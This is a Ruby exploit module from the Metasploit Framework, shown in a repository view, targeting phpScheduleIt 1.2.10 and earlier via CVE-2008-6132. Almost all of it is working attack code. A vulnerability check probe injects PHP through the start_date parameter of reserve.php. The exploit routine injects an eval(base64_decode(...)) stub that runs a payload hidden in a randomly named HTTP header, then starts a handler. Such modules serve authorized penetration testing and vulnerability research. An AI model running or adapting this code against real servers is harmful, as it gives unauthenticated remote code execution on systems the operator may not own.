Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
126 lines
3.2 KiB
Ruby
126 lines
3.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection',
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'Description' => %q{
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This module exploits an arbitrary PHP code execution flaw in the phpScheduleIt
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software. This vulnerability is only exploitable when the magic_quotes_gpc PHP
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option is 'off'. Authentication is not required to exploit the bug.
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Version 1.2.10 and earlier of phpScheduleIt are affected.
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},
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'Author' =>
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[
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'EgiX', # Vulnerability Discovery and Exploit
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'juan vazquez' # Metasploit module
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],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2008-6132'],
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['OSVDB', '48797'],
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['BID', '31520'],
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['EDB', '6646'],
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Payload' =>
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{
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# max header length for Apache,
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# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
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'Space' => 8190,
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'DisableNops' => true,
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'Keys' => ['php'],
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},
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'Targets' => [ ['Automatic', { }] ],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 1 2008'))
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register_options(
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[
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OptString.new('URI', [ true, "The full URI path to phpScheduleIt", '/phpscheduleit']),
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], self.class)
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end
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def check
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signature = rand_text_alpha(rand(10)+10)
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stub = "1').${print('#{signature}')}.${die};#"
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my_payload = "btnSubmit=1&start_date=#{stub}"
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if datastore['URI'][-1, 1] == "/"
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uri = datastore['URI'] + "reserve.php"
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else
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uri = datastore['URI'] + "/reserve.php"
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end
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print_status("Checking uri #{uri}")
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response = send_request_cgi({
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'method' => "POST",
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'global' => true,
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'uri' => uri,
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'headers' => {
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'Referer' => uri,
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},
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'data' => "#{my_payload}"
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}, 25)
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if response.code == 200 and response.body =~ /#{signature}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
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stub = "1').${error_reporting(0)}.${eval(base64_decode($_SERVER[HTTP_#{headername.gsub("-", "_")}]))};#"
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my_payload = "btnSubmit=1&start_date=#{stub}"
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if datastore['URI'][-1, 1] == "/"
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uri = datastore['URI'] + "reserve.php"
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else
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uri = datastore['URI'] + "/reserve.php"
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end
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print_status("Sending request for: #{uri}")
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print_status("Payload embedded in header: #{headername}")
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response = send_request_cgi({
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'method' => "POST",
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'global' => true,
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'uri' => uri,
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'headers' => {
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headername => Rex::Text.encode_base64(payload.encoded),
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'Referer' => uri
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},
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'data' => "#{my_payload}"
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}, 25)
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if response and response.code != 200
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print_error("Server returned a non-200 status code: (#{response.code})")
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end
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handler
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end
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end
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